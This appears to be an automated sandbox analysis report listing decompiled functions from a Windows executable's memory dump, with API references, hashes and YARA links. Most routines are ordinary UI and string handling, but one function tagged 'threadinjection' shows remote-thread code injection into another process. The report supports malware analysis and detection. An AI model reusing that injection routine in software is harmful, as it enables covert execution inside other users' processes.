memcpy.MSVCRT ref: 00408DE2
memcpy.MSVCRT ref: 00408DF4
GetModuleHandleW.KERNEL32(00000000), ref: 00408E07
DialogBoxParamW.USER32(00000000,0000006B,?,Function_00008ADB,00000000), ref: 00408E1B

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$DialogHandleModuleParam
String ID:
API String ID: 1386444988-0
Opcode ID: 891701deeecd0a5aff4f8729167f2b3d3e4c53b818b809e7ef3862d897c56b7c
Instruction ID: 2efff09082e6186f10957894d43819ba35d003f4fc085d6afb87634920226402
Opcode Fuzzy Hash: 891701deeecd0a5aff4f8729167f2b3d3e4c53b818b809e7ef3862d897c56b7c
Instruction Fuzzy Hash: FAF08231695310BBD7206BA4BE0AB473AA0D700B16F2484BEF241B54E0C7FA04559BDC

Uniqueness

Uniqueness Score: -1.00%

Function 004050E1, Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004050E1(wchar_t* __edi, wchar_t* _a4) {
				int _t10;
				int _t12;
				void* _t23;
				wchar_t* _t24;
				signed int _t25;

				_t24 = __edi;
				_t25 = wcslen(__edi);
				_t10 = wcslen(_a4);
				_t23 = _t10 + _t25;
				if(_t23 >= 0x3ff) {
					_t12 = _t10 - _t23 + 0x3ff;
					if(_t12 > 0) {
						wcsncat(__edi + _t25 * 2, _a4, _t12);
					}
				} else {
					wcscat(__edi + _t25 * 2, _a4);
				}
				return _t24;
			}

0x004050e1
0x004050ec
0x004050ee
0x004050f5
0x004050ff
0x00405114
0x00405118
0x00405123
0x00405128
0x00405101
0x00405109
0x0040510f
0x0040512e

APIs

wcslen.MSVCRT ref: 004050E3
wcslen.MSVCRT ref: 004050EE
wcscat.MSVCRT ref: 00405109
wcsncat.MSVCRT ref: 00405123

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcslen$wcscatwcsncat
String ID:
API String ID: 291873006-0
Opcode ID: dae96c5ac082cb53d340fe27b4bc8b5cd34b90fa375a26752ac010ecfec8ae38
Instruction ID: d151cadb35ebc04527c95d650d15a6f00d765f1fde14687ca002c1c28d544fc6
Opcode Fuzzy Hash: dae96c5ac082cb53d340fe27b4bc8b5cd34b90fa375a26752ac010ecfec8ae38
Instruction Fuzzy Hash: 3CE0EC36908703AECB042625AC45C6F375DEF84368B50843FF410E6192EF3DD51556DD

Uniqueness

Uniqueness Score: -1.00%

Function 00402DDD, Relevance: 6.0, APIs: 4, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402DDD(struct HWND__* __eax, void* __ecx) {
				void* __edi;
				void* __esi;
				struct HWND__* _t11;
				struct HWND__* _t14;
				struct HWND__* _t15;
				void* _t16;

				_t14 = __eax;
				_t16 = __ecx;
				 *((intOrPtr*)(__ecx + 0x10)) = __eax;
				GetClientRect(__eax, __ecx + 0xa14);
				 *(_t16 + 0xa24) =  *(_t16 + 0xa24) & 0x00000000;
				_t15 = GetWindow(GetWindow(_t14, 5), 0);
				do {
					E00402D99(_t15, _t16);
					_t11 = GetWindow(_t15, 2);
					_t15 = _t11;
				} while (_t15 != 0);
				return _t11;
			}

0x00402de0
0x00402de2
0x00402dec
0x00402def
0x00402dfb
0x00402e0c
0x00402e0e
0x00402e0e
0x00402e16
0x00402e18
0x00402e1a
0x00402e21

APIs

GetClientRect.USER32 ref: 00402DEF
GetWindow.USER32(?,00000005), ref: 00402E07
GetWindow.USER32(00000000), ref: 00402E0A

Part of subcall function 00402D99: GetWindowRect.USER32 ref: 00402DA8
Part of subcall function 00402D99: MapWindowPoints.USER32 ref: 00402DC3

GetWindow.USER32(00000000,00000002), ref: 00402E16

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Rect$ClientPoints
String ID:
API String ID: 4235085887-0
Opcode ID: 1c8c52d1646566c0c406de3dcd2af47f97e9d21a3de7b74f78bd3c756d76e5a1
Instruction ID: 77c271d885eafffee951e9f606c1c6e1ef1898ae553cc6e200c9330dee891b18
Opcode Fuzzy Hash: 1c8c52d1646566c0c406de3dcd2af47f97e9d21a3de7b74f78bd3c756d76e5a1
Instruction Fuzzy Hash: B8E092722407006BE22197398DC9FABB2EC9FC9761F11053EF504E7280DBB8DC014669

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6A6, Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0040B6A6() {
				intOrPtr _t1;
				intOrPtr _t2;
				intOrPtr _t3;
				intOrPtr _t4;

				_t1 =  *0x41c458;
				if(_t1 != 0) {
					_push(_t1);
					L0040B272();
				}
				_t2 =  *0x41c460;
				if(_t2 != 0) {
					_push(_t2);
					L0040B272();
				}
				_t3 =  *0x41c45c;
				if(_t3 != 0) {
					_push(_t3);
					L0040B272();
				}
				_t4 =  *0x41c464;
				if(_t4 != 0) {
					_push(_t4);
					L0040B272();
					return _t4;
				}
				return _t4;
			}

0x0040b6a6
0x0040b6ad
0x0040b6af
0x0040b6b0
0x0040b6b5
0x0040b6b6
0x0040b6bd
0x0040b6bf
0x0040b6c0
0x0040b6c5
0x0040b6c6
0x0040b6cd
0x0040b6cf
0x0040b6d0
0x0040b6d5
0x0040b6d6
0x0040b6dd
0x0040b6df
0x0040b6e0
0x00000000
0x0040b6e5
0x0040b6e6

APIs

??3@YAXPAX@Z.MSVCRT ref: 0040B6B0
??3@YAXPAX@Z.MSVCRT ref: 0040B6C0
??3@YAXPAX@Z.MSVCRT ref: 0040B6D0
??3@YAXPAX@Z.MSVCRT ref: 0040B6E0

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: ef9eb957481d268ec3f2fcbbe6b30702ac595c163cb660d0b33d8110378005bf
Instruction ID: 3bd5cb9a150004800b4bedd87e83f43d671674f7d7a0a5890c52a9af046e0154
Opcode Fuzzy Hash: ef9eb957481d268ec3f2fcbbe6b30702ac595c163cb660d0b33d8110378005bf
Instruction Fuzzy Hash: 96E00261B8820196DD249A7AACD5D6B239C9A05794314847EF804E72E5DF39D44045ED

Uniqueness

Uniqueness Score: -1.00%

Function 00407362, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00407362(void* __ebx, void* __edx, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				signed int _v12;
				void* _v16;
				wchar_t* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				void* __edi;
				signed int _t39;
				wchar_t* _t41;
				signed int _t45;
				signed int _t48;
				wchar_t* _t53;
				wchar_t* _t62;
				void* _t66;
				intOrPtr* _t68;
				void* _t70;
				wchar_t* _t75;
				wchar_t* _t79;

				_t66 = __ebx;
				_t75 = 0;
				_v8 = 0;
				if( *((intOrPtr*)(__ebx + 0x2c)) > 0) {
					do {
						_t39 =  *( *((intOrPtr*)(_t66 + 0x30)) + _v8 * 4);
						_t68 = _a8;
						if(_t68 != _t75) {
							_t79 =  *((intOrPtr*)( *_t68))(_t39,  *((intOrPtr*)(_t66 + 0x60)));
						} else {
							_t79 =  *( *((intOrPtr*)(_t66 + 0x2d4)) + 0x10 + _t39 * 0x14);
						}
						_t41 = wcschr(_t79, 0x2c);
						_pop(_t70);
						if(_t41 != 0) {
							L8:
							_v20 = _t75;
							_v28 = _t75;
							_v36 = _t75;
							_v24 = 0x100;
							_v32 = 1;
							_v16 = 0x22;
							E0040565D( &_v16 | 0xffffffff, _t70,  &_v36, __eflags,  &_v16);
							while(1) {
								_t45 =  *_t79 & 0x0000ffff;
								__eflags = _t45;
								_v12 = _t45;
								_t77 =  &_v36;
								if(__eflags == 0) {
									break;
								}
								__eflags = _t45 - 0x22;
								if(__eflags != 0) {
									_push( &_v12);
									_t48 = 1;
									__eflags = 1;
								} else {
									_push(L"\"\"");
									_t48 = _t45 | 0xffffffff;
								}
								E0040565D(_t48, _t70, _t77, __eflags);
								_t79 =  &(_t79[0]);
								__eflags = _t79;
							}
							E0040565D( &_v16 | 0xffffffff, _t70,  &_v36, __eflags,  &_v16);
							_t53 = _v20;
							__eflags = _t53;
							if(_t53 == 0) {
								_t53 = 0x40c4e8;
							}
							E004055D1(E00407343(_t66, _a4, _t53),  &_v36);
							_t75 = 0;
							__eflags = 0;
						} else {
							_t62 = wcschr(_t79, 0x22);
							_pop(_t70);
							if(_t62 != 0) {
								goto L8;
							} else {
								E00407343(_t66, _a4, _t79);
							}
						}
						if(_v8 <  *((intOrPtr*)(_t66 + 0x2c)) - 1) {
							E00407343(_t66, _a4, ",");
						}
						_v8 = _v8 + 1;
					} while (_v8 <  *((intOrPtr*)(_t66 + 0x2c)));
				}
				return E00407343(_t66, _a4, L"\r\n");
			}

0x00407362
0x00407369
0x0040736e
0x00407371
0x00407378
0x0040737e
0x00407381
0x00407386
0x0040739f
0x00407388
0x00407391
0x00407391
0x004073a4
0x004073ac
0x004073ad
0x004073cd
0x004073d0
0x004073d3
0x004073d6
0x004073e0
0x004073e7
0x004073ee
0x004073f5
0x0040741a
0x0040741a
0x0040741d
0x00407420
0x00407423
0x00407426
0x00000000
0x00000000
0x004073fc
0x00407400
0x0040740f
0x00407412
0x00407412
0x00407402
0x00407402
0x00407407
0x00407407
0x00407413
0x00407419
0x00407419
0x00407419
0x0040742f
0x00407434
0x00407437
0x00407439
0x0040743b
0x0040743b
0x0040744e
0x00407453
0x00407453
0x004073af
0x004073b2
0x004073ba
0x004073bb
0x00000000
0x004073bd
0x004073c3
0x004073c3
0x004073bb
0x0040745c
0x00407468
0x00407468
0x0040746d
0x00407473
0x0040747c
0x0040748e

APIs

wcschr.MSVCRT ref: 004073A4
wcschr.MSVCRT ref: 004073B2

Part of subcall function 0040565D: wcslen.MSVCRT ref: 00405679
Part of subcall function 0040565D: memcpy.MSVCRT ref: 0040569D

Strings

", xrefs: 004073EE

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcschr$memcpywcslen
String ID: "
API String ID: 1983396471-123907689
Opcode ID: 6c169a86a34af99064e62799b2294b8632790dd142111a0045f0f8e404fdb2fe
Instruction ID: 00b3f0686b04e7c82e40785714242b478475f00d1c6093d835cc4068bab83974
Opcode Fuzzy Hash: 6c169a86a34af99064e62799b2294b8632790dd142111a0045f0f8e404fdb2fe
Instruction Fuzzy Hash: 4E315F31E04208ABDF10EFA5C8819AE7BB9EF54314F20457BEC50B72C2D778AA41DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040A272, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040A272(struct HINSTANCE__** __eax, void* _a4, _Unknown_base(*)()* _a8, void* _a12, DWORD* _a16) {
				void* _v8;
				char _v12;
				char* _v20;
				long _v24;
				intOrPtr _v28;
				char* _v36;
				signed int _v40;
				void _v44;
				char _v48;
				char _v52;
				struct _OSVERSIONINFOW _v328;
				void* __esi;
				signed int _t40;
				intOrPtr* _t44;
				void* _t49;
				struct HINSTANCE__** _t54;
				signed int _t55;

				_t54 = __eax;
				_v328.dwOSVersionInfoSize = 0x114;
				GetVersionExW( &_v328);
				if(_v328.dwMajorVersion < 6) {
					return CreateRemoteThread(_a4, 0, 0, _a8, _a12, 4, _a16);
				}
				E0040A1EF(_t54);
				_t44 =  *((intOrPtr*)(_t54 + 4));
				if(_t44 != 0) {
					_t55 = 8;
					memset( &_v44, 0, _t55 << 2);
					_v12 = 0;
					asm("stosd");
					_v36 =  &_v12;
					_v20 =  &_v52;
					_v48 = 0x24;
					_v44 = 0x10003;
					_v40 = _t55;
					_v28 = 0x10004;
					_v24 = 4;
					_a16 = 0;
					_t40 =  *_t44( &_a16, 0x1fffff, 0, _a4, _a8, _a12, 1, 0, 0, 0,  &_v48, _t49);
					asm("sbb eax, eax");
					return  !( ~_t40) & _a16;
				}
				return 0;
			}

0x0040a27d
0x0040a286
0x0040a290
0x0040a29d
0x00000000
0x0040a32f
0x0040a29f
0x0040a2a4
0x0040a2ad
0x0040a2b6
0x0040a2bc
0x0040a2be
0x0040a2c4
0x0040a2c8
0x0040a2ce
0x0040a2e3
0x0040a2ed
0x0040a2fb
0x0040a2fe
0x0040a305
0x0040a30c
0x0040a30f
0x0040a313
0x00000000
0x0040a31a
0x0040a338

APIs

GetVersionExW.KERNEL32(?,76D268A0,00000000), ref: 0040A290
CreateRemoteThread.KERNEL32(?,00000000,00000000,?,?,00000004,?), ref: 0040A32F

Part of subcall function 0040A1EF: LoadLibraryW.KERNEL32(ntdll.dll,?,?,?,?,0040A2A4), ref: 0040A1FF
Part of subcall function 0040A1EF: GetProcAddress.KERNEL32(00000000,?), ref: 0040A263

Strings

$, xrefs: 0040A2E3

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCreateLibraryLoadProcRemoteThreadVersion
String ID: $
API String ID: 283512611-3993045852
Opcode ID: d6a2f9152dd1fe2f0352f3baa78907b361cfe50d89148d1dfcfba5149de364ff
Instruction ID: f7bb912936b7b9019fec647a10c74351ea71fc4cb5320a39ef1905a9d188216f
Opcode Fuzzy Hash: d6a2f9152dd1fe2f0352f3baa78907b361cfe50d89148d1dfcfba5149de364ff
Instruction Fuzzy Hash: CC216DB290020DEFDF11CF94DD44AEE7BB9FB88704F00802AFA05B6190D7B59A54CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401676, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00401676(void* __ecx, intOrPtr* __esi, void* __eflags, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				char _v80;
				signed short _v65616;
				void* _t27;
				intOrPtr _t28;
				void* _t34;
				intOrPtr _t39;
				intOrPtr* _t51;
				void* _t52;

				_t51 = __esi;
				E0040B550(0x1004c, __ecx);
				_t39 = 0;
				_push(0);
				_push( &_v8);
				_v8 =  *((intOrPtr*)(_a4 + 0x1c));
				_push(L"Lines");
				_t27 =  *((intOrPtr*)( *__esi))();
				if(_v8 > 0) {
					do {
						_t6 = _t39 + 1; // 0x1
						_t28 = _t6;
						_push(_t28);
						_push(L"Line%d");
						_v12 = _t28;
						_push(0x1f);
						_push( &_v80);
						L0040B1EC();
						_t52 = _t52 + 0x10;
						_push(0x7fff);
						_push(0x40c4e8);
						if( *((intOrPtr*)(_t51 + 4)) == 0) {
							_v65616 = _v65616 & 0x00000000;
							 *((intOrPtr*)( *_t51 + 0x10))( &_v80,  &_v65616);
							_t34 = E004054DF(_a4, _t51,  &_v65616);
						} else {
							_t34 =  *((intOrPtr*)( *_t51 + 0x10))( &_v80, E00405581(_a4, _t39));
						}
						_t39 = _v12;
					} while (_t39 < _v8);
					return _t34;
				}
				return _t27;
			}

0x00401676
0x0040167e
0x0040168a
0x0040168c
0x00401690
0x00401691
0x00401696
0x0040169d
0x004016a2
0x004016aa
0x004016aa
0x004016aa
0x004016ad
0x004016ae
0x004016b3
0x004016b9
0x004016bb
0x004016bc
0x004016c1
0x004016c8
0x004016cd
0x004016ce
0x004016ea
0x004016ff
0x0040170c
0x004016d0
0x004016e3
0x004016e3
0x00401711
0x00401714
0x00000000
0x00401719
0x0040171c

APIs

_snwprintf.MSVCRT ref: 004016BC

Strings

Line%d, xrefs: 004016AE
Lines, xrefs: 00401696

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf
String ID: Line%d$Lines
API String ID: 3988819677-2790224864
Opcode ID: c1f721086df18e7d6bb8eccb45024a01d2e3fe78f3e8b8c51705c1ae483569b9
Instruction ID: 1021665491e9d2d06496d958327cd8fefc515fbb55266dd5f91e98284186a054
Opcode Fuzzy Hash: c1f721086df18e7d6bb8eccb45024a01d2e3fe78f3e8b8c51705c1ae483569b9
Instruction Fuzzy Hash: 4C110071A00208EFCB15DF98C8C1D9EB7B9EF48704F1045BAF645E7281D778AA458B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040512F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0040512F(intOrPtr _a4, intOrPtr _a8, void* _a12) {
				void* _v8;
				void* _v26;
				void _v28;
				void* _t24;
				void* _t25;
				void* _t35;
				signed int _t38;
				signed int _t42;
				void* _t44;
				void* _t45;

				_t24 = _a12;
				_t45 = _t44 - 0x18;
				_t42 = 0;
				 *_t24 = 0;
				if(_a8 <= 0) {
					_t25 = 0;
				} else {
					_t38 = 0;
					_t35 = 0;
					if(_a8 > 0) {
						_v8 = _t24;
						while(1) {
							_v28 = _v28 & 0x00000000;
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosw");
							_push( *(_t35 + _a4) & 0x000000ff);
							_push(L"%2.2X ");
							_push(0xa);
							_push( &_v28);
							L0040B1EC();
							_t38 = _t42;
							memcpy(_v8,  &_v28, 6);
							_t13 = _t42 + 3; // 0x3
							_t45 = _t45 + 0x1c;
							if(_t13 >= 0x2000) {
								break;
							}
							_v8 = _v8 + 6;
							_t35 = _t35 + 1;
							_t42 = _t42 + 3;
							if(_t35 < _a8) {
								continue;
							}
							break;
						}
						_t24 = _a12;
					}
					 *(_t24 + 4 + _t38 * 2) =  *(_t24 + 4 + _t38 * 2) & 0x00000000;
					_t25 = 1;
				}
				return _t25;
			}

0x00405132
0x00405135
0x00405139
0x0040513e
0x00405141
0x004051b3
0x00405143
0x00405145
0x00405147
0x0040514c
0x0040514e
0x00405151
0x00405151
0x0040515b
0x0040515c
0x0040515d
0x0040515e
0x0040515f
0x00405168
0x00405169
0x00405171
0x00405173
0x00405174
0x00405182
0x00405184
0x00405189
0x0040518c
0x00405194
0x00000000
0x00000000
0x00405196
0x0040519a
0x0040519b
0x004051a1
0x00000000
0x00000000
0x00000000
0x004051a1
0x004051a3
0x004051a3
0x004051a6
0x004051af
0x004051b0
0x004051b7

APIs

_snwprintf.MSVCRT ref: 00405174
memcpy.MSVCRT ref: 00405184

Strings

%2.2X , xrefs: 00405169

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfmemcpy
String ID: %2.2X
API String ID: 2789212964-323797159
Opcode ID: 66b7574eb9a61f89bba5daddfea12679ea202a088e21b7349ae655d3273dc8be
Instruction ID: b76e4bbe2d26c53343c630e3245d096d82678977124e835a89109146ed91de65
Opcode Fuzzy Hash: 66b7574eb9a61f89bba5daddfea12679ea202a088e21b7349ae655d3273dc8be
Instruction Fuzzy Hash: 5A11A532900608BFEB01DFE8C882AAF77B9FB45314F104477ED14EB141D6789A058BD5

Uniqueness

Uniqueness Score: -1.00%

Function 004075BB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E004075BB(void* __ebx, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				char _v44;
				intOrPtr _t22;
				signed int _t30;
				signed int _t34;
				void* _t35;
				void* _t36;

				_t35 = __esi;
				_t34 = 0;
				if( *((intOrPtr*)(__esi + 0x2c)) > 0) {
					do {
						_t30 =  *( *((intOrPtr*)(__esi + 0x30)) + _t34 * 4);
						_t22 =  *((intOrPtr*)(_t30 * 0x14 +  *((intOrPtr*)(__esi + 0x40)) + 0xc));
						L0040B1EC();
						_push( *((intOrPtr*)( *_a8))(_t30,  *((intOrPtr*)(__esi + 0x64)),  &_v44, 0x14, L"%%-%d.%ds ", _t22, _t22));
						_push( &_v44);
						_push(0x2000);
						_push( *((intOrPtr*)(__esi + 0x60)));
						L0040B1EC();
						_t36 = _t36 + 0x24;
						E00407343(__esi, _a4,  *((intOrPtr*)(__esi + 0x60)));
						_t34 = _t34 + 1;
					} while (_t34 <  *((intOrPtr*)(__esi + 0x2c)));
				}
				return E00407343(_t35, _a4, L"\r\n");
			}

0x004075bb
0x004075c2
0x004075c7
0x004075ca
0x004075cd
0x004075d8
0x004075e9
0x004075fc
0x00407600
0x00407601
0x00407606
0x00407609
0x0040760e
0x00407619
0x0040761e
0x0040761f
0x00407624
0x00407636

APIs

_snwprintf.MSVCRT ref: 004075E9
_snwprintf.MSVCRT ref: 00407609

Strings

%%-%d.%ds , xrefs: 004075DE

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf
String ID: %%-%d.%ds
API String ID: 3988819677-2008345750
Opcode ID: 8b20a529ff37d77b79effa085cf49c3b2d19e50ebfb67170c6dd6cfdd11deb7b
Instruction ID: ecb877ded915dbad8d5af0e436ed4e240226c92ce5a1c47ab2288d53f8dcf9da
Opcode Fuzzy Hash: 8b20a529ff37d77b79effa085cf49c3b2d19e50ebfb67170c6dd6cfdd11deb7b
Instruction Fuzzy Hash: BC01B931600704AFD7109F69CC82D5A77ADFF48304B004439FD86B7292D635F911DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040507A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040507A(intOrPtr __eax, wchar_t* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				wchar_t* _v52;
				intOrPtr _v56;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v76;
				struct tagOFNA _v80;

				_v76 = __eax;
				_v68 = _a4;
				_v64 = 0;
				_v44 = 0;
				_v36 = 0;
				_v32 = _a8;
				_v20 = _a12;
				_v80 = 0x4c;
				_v56 = 1;
				_v52 = __esi;
				_v48 = 0x104;
				_v28 = 0x81804;
				if(GetOpenFileNameW( &_v80) == 0) {
					return 0;
				} else {
					wcscpy(__esi, _v52);
					return 1;
				}
			}

0x00405080
0x00405086
0x0040508b
0x0040508e
0x00405091
0x00405097
0x0040509d
0x004050a4
0x004050ab
0x004050b2
0x004050b5
0x004050bc
0x004050cb
0x004050e0
0x004050cd
0x004050d1
0x004050dc
0x004050dc

APIs

GetOpenFileNameW.COMDLG32(?), ref: 004050C3
wcscpy.MSVCRT ref: 004050D1

Strings

L, xrefs: 004050A4

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileNameOpenwcscpy
String ID: L
API String ID: 3246554996-2909332022
Opcode ID: a51a7b57d6ecd1b98ae1f97c69f64cb7c1c2e9715c85319fb07a92e86122e8f3
Instruction ID: bc55e530e402ba4b599a228f817f204aa1fc4279979982f23bca087f07049b97
Opcode Fuzzy Hash: a51a7b57d6ecd1b98ae1f97c69f64cb7c1c2e9715c85319fb07a92e86122e8f3
Instruction Fuzzy Hash: 9A015FB1D102199FDF40DFA9D885ADEBBF4BB08304F14812AE915F6240E77495458F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040906D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040906D(struct HINSTANCE__** __eax, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* __esi;
				_Unknown_base(*)()* _t10;
				void* _t12;
				struct HINSTANCE__** _t13;

				_t13 = __eax;
				_t12 = 0;
				if(E00408F72(__eax) != 0) {
					_t10 = GetProcAddress( *_t13, "LookupAccountSidW");
					if(_t10 != 0) {
						_t12 =  *_t10(0, _a4, _a8, _a12, _a16, _a20, _a24);
					}
				}
				return _t12;
			}

0x00409072
0x00409074
0x0040907d
0x00409086
0x0040908e
0x004090a5
0x004090a5
0x0040908e
0x004090ac

APIs

GetProcAddress.KERNEL32(?,LookupAccountSidW), ref: 00409086

Strings

LookupAccountSidW, xrefs: 0040907F
Y@, xrefs: 0040906D

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc
String ID: LookupAccountSidW$Y@
API String ID: 190572456-2352570548
Opcode ID: ef5ceafcaa1143e80c32773d35785430279aa9a6fc3cb1ecefeef801cdbe6fb2
Instruction ID: 3ebfd29b958db2e29df2983e37ea976ab6b1d16e8490ad6d4f073a9de280f7a1
Opcode Fuzzy Hash: ef5ceafcaa1143e80c32773d35785430279aa9a6fc3cb1ecefeef801cdbe6fb2
Instruction Fuzzy Hash: F5E0E537100109BBDF125E96DD01CAB7AA79F84750B144035FA54E1161D6368821A794

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD85, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040AD85(intOrPtr _a4) {
				_Unknown_base(*)()* _t3;
				void* _t7;
				struct HINSTANCE__* _t8;
				char** _t9;

				_t7 = 0;
				_t8 = E00405436(L"shlwapi.dll");
				 *_t9 = "SHAutoComplete";
				_t3 = GetProcAddress(_t8, ??);
				if(_t3 != 0) {
					_t7 =  *_t3(_a4, 0x10000001);
				}
				FreeLibrary(_t8);
				return _t7;
			}

0x0040ad8c
0x0040ad93
0x0040ad95
0x0040ad9d
0x0040ada5
0x0040adb2
0x0040adb2
0x0040adb5
0x0040adbf

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
